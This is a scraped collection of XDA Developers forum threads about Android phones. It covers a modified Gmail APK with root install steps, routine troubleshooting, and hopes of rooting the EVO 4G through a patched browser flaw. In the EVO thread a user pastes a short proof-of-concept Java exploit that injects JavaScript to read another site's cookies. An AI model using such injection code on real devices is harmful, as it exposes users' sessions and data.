yashsingh1/xdaforums huggingface dataset:
[XPERIA X10 Themes and Apps] BULL3TPR00F:
UPDATE 3

--------------

Added modified GMail v3.2.1 for HC and GMail v4.0.3 for ICS based ROMs. Make sure you download the right one for your OS (GB, HC, or ICS).

--------------

Hey guys, for those of you who didn't know, the Gmail application now RESTRICTS access to your emails by third party apps. This basically means that any app that needs access to your email database (for example, Pure Messenger Widget) will be LOCKED OUT and therefore Gmail will be disabled in said application.

So I went ahead and modified the latest Gmail apk to ALLOW EXTERNAL ACCESS to re-enable support for apps that require it. Hope this helps anyone who needed it.

Install Instructions (YOU MUST BE ROOTED!)

--------------------------------------------------------------------------

0) DOWNLOAD CORRECT VERSION FOR YOUR OS AND RENAME TO Gmail.apk

1) Open Root Explorer (or any other root file manager you like)

2) NAVIGATE to /data/app

3) DELETE com.google.android.gm-1.apk (it might say com.google.android.gm-2.apk for some people or it may not exist at all)

4) NAVIGATE to /system/app

5) Mount Read/Write

6) DELETE Gmail.apk

7) COPY new modified Gmail.apk into /system/app

8) CHANGE permissions to Owner = read/write, Group = read, Others = read.

---(The following may not be necessary but its HIGHLY RECOMMENDED!)---

9) REBOOT into Recovery

10) Wipe Cache/Dalvik-Cache/Fix Permisions

------------------------------------------------------------------------

11) REBOOT!

NOTE: Some apps may require you to uninstall and reinstall the program before it is able to see the change in Gmail (for example, Pure Messenger Widget)

DON'T FORGET TO HIT THE THANKS BUTTON! :)
[XPERIA X10 Themes and Apps] BULL3TPR00F:
APK Re-added.

I was having issues with regards to getting the app to show up after reboot but realized it wasn't actually a problem with the modification, but it was a problem with the permissions.
[XPERIA X10 Themes and Apps] BULL3TPR00F:
lol guess i was the only one who needed this... ah well, if anyone needs it its here, hopefully people know how to use the search :P
[XPERIA X10 Themes and Apps] kaisan1:
lol...dont worry dude.. keep up the great work..!! :D
[XPERIA X10 Themes and Apps] ozzybulldog:
Thanks for this! Google are a bunch of tight ass losers for restricting access to Gmail...

Oz
[XPERIA X10 Themes and Apps] iridaki:
Thanks for this, I've been looking for a way to make LED Flow change the LED color for emails from different contacts! :)
[XPERIA X10 Themes and Apps] BULL3TPR00F:
No problem everyone, I will keep this thread updated with newer modified versions as Google releases them.
[XPERIA X10 Themes and Apps] Gadgetz:
What do you mean when you say "mount read/write" in step 5?
[XPERIA X10 Themes and Apps] Gadgetz:
Nevermind, I figured it out. Explorer didnt allow me to mount r/w or change permissions so I installed Root Explorer and worked it out.....much better file system explorer btw. Thanks for the tutorial.

via x10i WB GB v4.0 edition
[XPERIA X10 Themes and Apps] BULL3TPR00F:
Uploaded hacked version of the newest Gmail application (v2.3.5.2).
[XPERIA X10 Themes and Apps] sahibunlimited:
Now we can have gmail timescape for the latest app:)
[XPERIA X10 Themes and Apps] BULL3TPR00F:
Yeah sorry i took so long to upload the new version, my phone has been disconnected for a few months now so i dont use it too much lol.
[XPERIA X10 Themes and Apps] CAYCE_VII:
It doesn't seem to work with Launcher Pro's Gmail widget :/
[XPERIA X10 Themes and Apps] daenney:
Thanks for this. Just put it on my SGS, now SlideScreen works again, fully :D.
[XPERIA X10 Themes and Apps] pele78:
make sure keep this updated LOL

Slidescreen is back in businesssssss!

Subscribed
[XPERIA X10 Themes and Apps] jonathanwoo:
It works, thanks.
[XPERIA X10 Themes and Apps] sams0n1:
Working, nice job man, thanks!
[XPERIA X10 Themes and Apps] krauli:
Cant get this to work with slidescreen, but it works with launcherPro :s
[XPERIA X10 Themes and Apps] ben.cordy:
THanks for this, it's exactly what I've been looking for however I seem to get stuck doing the steps involving pasting into system/data basically nothing ever pastes there despite me setting the read write permissions as suggested. Guy who got slidescreen working using this how exactly did you go about it? exactly as described?
[XPERIA X10 Themes and Apps] skittleys:
Thanks so much for this fantastic hack!

Mind letting us know exactly what you did?

I ask because I'm using I'm already using a modded themed apk, and obviously I can't use both at the same time. :(
[XPERIA X10 Themes and Apps] rdk00:
i`ve got a problem i cant find in /data/app com.google.android.gm-1.apk or the other one (im rooted and i use root file manager ) it's that a problem ?? or i can continue to the next steps ??
[XPERIA X10 Themes and Apps] K1196A:
I had the same issue. Just followed the rest of the steps and it seemed to work fine.
[XPERIA X10 Themes and Apps] K1196A:
I do; however, seem to get the issue where the app will only send from the default e-mail address, even though i have my setting set for it to respond from the account the message was received to. the drop down will show the proper account, but the recipient gets the message from the default.

Anybody else?
[XPERIA X10 Themes and Apps] BULL3TPR00F:
Hmm that is quite strange, i have not noticed that...

try clearing the settings and setting it back up?
[XPERIA X10 Themes and Apps] rndr:
Hey BULL3TPR00F, thanks so much for this hack. You saved Slidescreen for my Gingerbread SGS.

But now I want to upgrade to ICS -- I see you run CM9, so does this work for ICS also, or any chance you can hack Gmail 4.0?

Thanks!

Randy
[XPERIA X10 Themes and Apps] BULL3TPR00F:
Working on hacking Gmail 4.0.3, having some issues getting it signed properly after modding (took me forever to figure out how to decompile an ICS apk, but managed to do it).

Will release it once i have finished testing and make sure it works
[XPERIA X10 Themes and Apps] BULL3TPR00F:
Updated OP with new HC and ICS version of GMail, hacked of course :)
[XPERIA X10 Themes and Apps] turdbogls:
Thanks for getting it up so quickly. however, using the method i used before on my Thunderbolt with Gingerbread (worked perfectly BTW) i am getting a force close right away on Gmail.

i uninstalled gmail from system

rebooted

placed gmail into system/app and changed permission

rebooted

and i get the FC.

can you maybe make the changes and not sign it? i read that putting a signed app into system/app will mess with the others. could be wrong though.

either way, i appreciate it, maybe i did something wrong during the install process, hopefully someone can chime in here and say they got it working on their nexus.
[XPERIA X10 Themes and Apps] BULL3TPR00F:
Try doing a cache/dalvik cache wipe and fix permisions in recovery.

If you still have issues, ill upload a non signed version. It is working perfectly on my SGS II running ICS, and my ASUS Transformer running HC. Haven't had any other reports of issues.
[XPERIA X10 Themes and Apps] turdbogls:
well i got the app to actually start working. the wipes didn't fix anything, but re-naming it to just Gmail.apk seemed to do the trick (still had the version number from when i downloaded it) duh :rolleyes:

however i am not getting the desired results with go notifications. still dont get my unread count bubble. :( running 4.0.3 on my galaxy nexus AOKP build 22
[XPERIA X10 Themes and Apps] BULL3TPR00F:
did you uninstall go notifications and reinstall it after applying the new gmail mod?

Instructions state about renaming the file, and maybe having to reinstall the app after.
[XPERIA X10 Themes and Apps] turdbogls:
Yeah I did that. Actually uninstalled go notification, installed gmail, installed go notification with a reboot in between each step.

If someone can replicate my results I will just stop there but if someone gets it to work I will go at it again.
[XPERIA X10 Themes and Apps] pmikota:
Got this to work on my Samsung Galaxy 2 LTE. Great post!!!

Im a newbie to Android and recently an iphone convert. ;) Surprised Android is becoming locked down... Too bad really.
[XPERIA X10 Themes and Apps] BULL3TPR00F:
stupid question but did you enable gmail count in go notification settings?
[XPERIA X10 Themes and Apps] asqwrd:
Can u add modified version of gmail 4.0.4?
[XPERIA X10 Themes and Apps] Xtremeviper:
There's any way to make a petition for google guys? We are MORE users, only in this forum.
[Xoom Q&A, Help & Troubleshooting] radi0chik:
so i installed the td for tablets today and sync'd it with my work exchange account. my email is sync'd as is the calendar and tasks. but my email shows "all folders" instead of inbox or the ability to change between subfolders. i cant for the life of me figure out what im doing wrong that wont show or let me pick subfolders. when i click on all folders thats the only option i get-"all folders"

what do i need to do to view subfolders? tnx in advance!
[Xoom Q&A, Help & Troubleshooting] tengtengvn:
Go to setting and refresh the folder list.
[Xoom Q&A, Help & Troubleshooting] radi0chik:
Yeah I tried that. It kept coming up blank. I uninstalled it and reinstalled it and the folder list is there now. Maybe something got corrupted in the install? Thanks for the help! :)
[Android Q&A, Help & Troubleshooting] shikui:
I have an Android tablet and I want the manufacturer logo not to display on powering up. It has something to do with the uboot-*.bin in NAND flash memory. The logo is stored in the bin file in GUNZIP format, which I am certain because of the 0X1F8B08 signature. I guess that in order to display the logo, the uboot program will have to unzip the logo in the first place. So if I change the 0X1F8B08 signature, the logo data will not be recgonized any more and no logo will be displayed on the screen. Any idea whether or not it will work? Thanks
[Verizon Droid Incredible 2] brentobray:
Is there anyone out there that can help me take my inc2 and downgrade to the stock software so I can root it?
[Verizon Droid Incredible 2] tpbklake:
No, not yet. Once you get the Ginerbread update you are out of luck and must wait for a new rootable exploit to be discovered. Both the AlphaRev team and the Unrevoked team as well as others are actively working on trying to find new exploits.

The other choice is to find someone that has a XTC Clip diagnostic device that can be used to gain S-OFF on your device which will then allow you to install a custom recovery and custom rooted ROMs.
[Verizon Droid Incredible 2] JAS_21:
There is a number of threads on this. There is no way, as of now, to downgrade. The only way to get root, if you have 2.3.3, is to buy an XTC clip.

Edit..... I type too slow
[Verizon Droid Incredible 2] gabezermeno:
I don't think anyone is actually trying. I think people just think people are trying. No one has come.out and said "hey. I'm working on it"
[Verizon Droid Incredible 2] JAS_21:
The devs don't normally come in these threads and post. Some people would be bugging them for ETAs, or flaming.
[Verizon Droid Incredible 2] tpbklake:
If you visit the Revolutionary site, there are a number of links to some of the developers that are working on GB root exploits. With a little investigation into Twitter land, you will see that they are working on several HTC devices. One of the exploits will work on the Desire S, so it is only a matter of time before they figure out how to make it work on the Incredible S/Dinc2, too.
[Verizon Droid Incredible 2] devator22:
After what happened with the froyo root, I'd be surprised if the root devs ever came into these forums again. They will probably not say anything until they have a working method.

Sent from my Incredible 2 with Xda app
[Verizon Droid Incredible 2] Darkpsych0:
Do people ever use the search button?
[Verizon Droid Incredible 2] micdawg12:
Suck a **** for a clip.
[Verizon Droid Incredible 2] tdavis42:
Wow!! No wonder they have n00b videos and posting restrictions in place!
[Verizon Droid Incredible 2] tnez:
Look in the inc 2 forums at rootzwiki. there's a sticky on downgrading (how to)

Sent from my rooted GB ADR6350
[Verizon Droid Incredible 2] finitybeyond:
That is only for those with S-OFF via AlpharevX to downgrade back to Froyo and the stock boot loader. You need to be S-OFF and, correct me if i'm wrong, will still be S-OFF after the downgrade. It will not work if you're S-ON with GB, unfortunately.
[Verizon Droid Incredible 2] JAS_21:
That only works if you already have s-off.
[Verizon Droid Incredible 2] Avelnan:
Have you already tried?

Sent from my ADR6350
[Verizon Droid Incredible 2] micdawg12:
Yes, that's how I got my clip. That's why I'm S-OFF'd and running newtoroot's bad ass sense 3.0 rom.
[G Tablet Q&A, Help & Troubleshooting] jjkoolj8282:
Would it be possible to put windows 7 or xp onto the Gtablet, or Mac 9.x or later for that matter? I don't know the amount of space needed for those operating systems but I do know that it would take more memory than the gtab has to offer.
[G Tablet Q&A, Help & Troubleshooting] aabbondanza:
No for a number of reasons.

Definitely no for Win7 or XP...code is not ARM compatible & probably the same for MAC OSX. Apple also codes for specific hardware, thats way their OS is less suseptible to breaking from adding lots of differnt hardware.

Code is also so big that it would undoubtedly not fix.

And finally the Tegra simply isn't up to running bloated Windows & Mac programs that would suck the life out of your battery. Both cores of the Tegra would be runnning maxed out all the time if was code compatible.

May be possible with Win8 & quad core & greater Tegra's in the future though since MS is working to make Win8 Arm compatible.
[Fascinate Q&A, Help & Troubleshooting] jtseidner:
Is there any way to adjust the time frame before the bottom leds go out? I find they go out too fast...
[Fascinate Q&A, Help & Troubleshooting] nmalready:
This annoys me as well. Anyone?
[Fascinate Q&A, Help & Troubleshooting] rkerrddd:
I think its under settings, profile, then u can change for each individual profile
[Fascinate Q&A, Help & Troubleshooting] nmalready:
How about with glitch kernel v13? The device options are greyed out.
[Fascinate Q&A, Help & Troubleshooting] sbenson1226:
Same. Anyone?
[Fascinate Q&A, Help & Troubleshooting] chopper the dog:
CM7 stock uses a different bln module. So if you flashed glitch (which uses nelders bln module) you break the cm7 bln options. On another note though "pool party" has key timeout setting integrated within tsm parts.

good day.
[EVO 4G General] decayer177:
[21:53] <decayer177> Somebody said to root the OG Evo: Basically overflow the memory and do as you please
[21:53] <decayer177> He didn't really go into detail.
[21:53] <@shift> that's basically what we did to get temp root on the evo 3d
[21:53] <@shift> but we used one of the gpu drivers
[21:53] <cayniarb> wasnt a browser exploit just discovered?
[21:54] <@shift> o_O
[21:54] <@shift> another one?
[21:54] <cayniarb> allowing the user to execute code via urls
[21:54] <@shift> :o
[21:54] <@shift> cayniarb: LINK!
[21:54] <@shift> NAOW!
[21:54] <cayniarb> root-level code at that
[21:54] <cayniarb> i saw it on one of the tech blogs maybe a week ago
[21:54] <cayniarb> 2.3.5 patched it
[21:54] <@shift> cayniarb: oh
[21:54] <@shift> you got me all hyped for no reason
[21:55] <cayniarb> 2.3.5
[21:55] <krazykit> but isn't the latest ota 2.3.4?
[21:55] <cayniarb> as in, like a week ago it got patched
[21:55] <cayniarb> as in, not in any of the new htc'
[21:55] <cayniarb> s
[21:55] <decayer177> It got patched in 2.3.5. We are on 2.3.3
[21:57] <decayer177> http://www.itproportal.com/2011/08/07/android-browser-vulnerability-revealed-patched/
[21:57] <cayniarb> there you go
[21:57] <cayniarb> shift: if that info leads to root, i want a finders fee
[21:57] <@shift> cayniarb: you didn't link meh
[21:57] <@shift> if anything, decayer177 gets rights
[22:08] <decayer177> @Shift: Are you guys going to look into the browser exploit?
[22:09] <@shift> decayer177: i've passed it on to the rest of the team, maybe it'll help, maybe not. can't say for sure right now, but thanks though. i personally didn't even know about it

So, TeamWin is going to look into the Android browser exploit, which may lead to root. Hopefully we won't have to wait much longer.
[EVO 4G General] Steven 1:
Thank God for smart/persistent people. Nice job
[EVO 4G General] hotdog32836:
we need roots!!
[EVO 4G General] inifekt:
That would be pretty badass to see this succeed.
[EVO 4G General] iwin2000:
can anyone execute code via the browser url bar on the evo? I tried and it didn't work for me
[EVO 4G General] decayer177:
You can't execute code through the URL bar. A malicious website could use the browser's loading process to execute infected JavaScript.
[EVO 4G General] potna:
please let it be so!!!
[EVO 4G General] decayer177:
Here is a PDF of the vunerability:

Advisory Android Browser

It says 2.3.4 and 3.1 have been declared vulnerable. 2.3.5 and 3.2 have a fix. A fix for 2.2 is available and "will be released at a later date."

No word about 2.3.3, so this may or may not work.
[EVO 4G General] heythatsghetto:
We still need the bootloader unlocked too fellas

But on a positive note....its good to hear any good news. And its encouraging that us og evo owners have not been forgotten yet

Sent on my malfunctioning rooted evo that will in two days be replaced by an unrooted one, thanks sprint.
[EVO 4G General] Invisibility:
With root S-Off is cake. It's all a matter of getting root then using that to get S-Off.
[EVO 4G General] 14u2c:
Good news and high hopes..
[EVO 4G General] decayer177:
To further help TeamWin in using this exploit, I took the time to email security@android.com to ask if the Android 2.3.3 operating system is still vulnerable and is a patch coming.

Contents of the email:

As you already know, Android versions 2.3.4 and 3.1 have shown a vulnerability in the browser that can allow infected JavaScript to enter the system. I am well aware of 2.3.5 and 3.2 having the patch that removes this vulnerability. I know a 2.2 patch is available and will be released at a later date, but is the Android 2.3.3 operating system going to receive the patch as well?

To support the cause, can people find out if 2.3.3 remains vulnerable?
[EVO 4G General] tommytomatoe:
Woot Woot! Exciting news man! Thanks for posting. Don't know how far this will take us, but it is still good news. :-)
[EVO 4G General] oldirty918:
I downloaded the shell comander app and if you set root at start on the settings it trys to run Su at the start of the app and says permission denied but if you wait sometimes it still accesses the root files and you can open all folders and see all files.... Idk if this helps, but I figured it couldn't hurt
[EVO 4G General] decayer177:
I posted on the IRC what you said. Hopefully someone there (or on here) will look into it. It could be nothing, or the next exploit into the system. You never know.
[EVO 4G General] Invisibility:
Can you modify root files?
[EVO 4G General] Xtazy305:
Nice great news
[EVO 4G General] decayer177:
UPDATE:

[23:20] <@shift> decayer177: shell commander does that? o_O ... i'll look into it. thanks for the info! i gotta go to sleep now though lol
[EVO 4G General] heythatsghetto:
all good news... even though im currently rooted....im getting a new evo via TEP this week...and i feel all giddy like i did when i was first waiting for the 3.7 exploit..haha.

reading that pdf was good, it sounds as if theoretically this might be a good find.... if only my java was a little better =(
[EVO 4G General] Invisibility:
If someone finds the code let me know if you need hosting.
[EVO 4G General] github:
This would be neat to have our very own remote 'jailbreak' like the pdf exploits used back in the day on iOS devices teehee. Something just makes it more fun knowing you can do it via a website.

However, it's also quite a security risk and hopefully HTC will patch it down the road after this crop gets su access and then S-OFF.

These are the discussions we need. Not trying to modify zips and such. Finally some constructive postings. :cool:
[EVO 4G General] heythatsghetto:
yeah here's the code right here: (have at it guys)

public class CasExploit extends Activity

{

static final String mPackage = "com.android.browser";

static final String mClass = "BrowserActivity";

static final String mUrl = "http://target.domain/";

static final String mJavascript = "alert(document.cookie)";

static final int mSleep = 15000;

@Override

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.main);

startBrowserActivity(mUrl);

try {

Thread.sleep(mSleep);

}

catch (InterruptedException e) {}

startBrowserActivity("javascript:" + mJavascript);

}

private void startBrowserActivity(String url) {

Intent res = new Intent("android.intent.action.VIEW");

res.setComponent(new ComponentName(mPackage,mPackage+"."+mClass));

res.setData(Uri.parse(url));

startActivity(res);

}

}
[EVO 4G General] Invisibility:
Definitely agree! I'm glad to see some useful posts instead of things already tried 100 times.
[EVO 4G General] github:
Sort of.. it's just a proof of concept.. you'd still need some work to get it to do what we want to do.
[EVO 4G General] Nick N:
If root can be achieved using this method (installing a custom recovery), would we be able to use the existing Unrevoked Forever to get S-Off?
[EVO 4G General] decayer177:
More than likely
[EVO 4G General] Invisibility:
If the exploit even works you would need to figure out what to run to get root. That's just executing your own code next would be give superuser app root permanently then from there get S-Off flash a recovery and then flash a rooted Rom.
[EVO 4G General] steve19137:
YES!!!!!!! Best thing I've read in ages!!!
[EVO 4G General] Art2Fly:
Great to hear, I'm just waiting for root so I can send my EVO in to get repaired... Danny screen keeps changing tints..
[EVO 4G General] oldirty918:
No file mod.. also to goto the root folder, after it starts turn the phone so the screen changes direction
[EVO 4G General] xHausx:
This is definitely something to poke at but I wouldn't get too high a hopes for it. It looks like this only allows for you to run javascripts with access to other websites, not as superuser. That being said, I can think of a few ways it may be possible to escalate from here; so I know there has to be more things out there I haven't even thought of yet.
[EVO 4G General] budeone:
Either way.. Its hope and I was starting to lose some.. :D :D :D
[EVO 4G General] godS3nd:
Yes! There may be light at the end of the tunnel, just hope it's not a train...
[EVO 4G General] LCL22:
didnt know if this was the right place to ask this, but it may be relevant...

i have the mobaplayer app on my evo

if you play a movie file, then use the back arrow button on the phone two times , i end up browsing a bunch of folders i havent seen on the phone before, among them one named root, another sbin,system folder , etc. and a bunch of .rc files of various names what am i looking at here?

ill try to post a screenie later
[EVO 4G General] {ParanoiA}:
Agrabren already stated on his twitter that hope isn't needed, just time

Sent From My Pocket
[EVO 4G General] rezistrat:
My guess is your simply viewing system files through your programs file manger. Unfortunately you likely cant alter these files
[EVO 4G General] quoshon:
you can see the folder but cant view whats in it the root folder that is
[EVO 4G General] LCL22:
can see whats inside the folders, system and all, just cant really do anything since its a media player but i thought it was weird that i can see all that, it looks like the root directories
[EVO 4G General] tommytomatoe:
You can see all yhose files with a file manager. You won't be able to open the folder called "data" however. Root, system, and sbin are all viewable with astro or es file manager. But data won't open :-)
[EVO 4G General] atyoung:
The interesting part is its ability to install itself as a service, assuming were talking about a system service. If the sandbox is broken, getting the kernel to drop a # is cake. But it's all theory till we see what kind of access this code provides.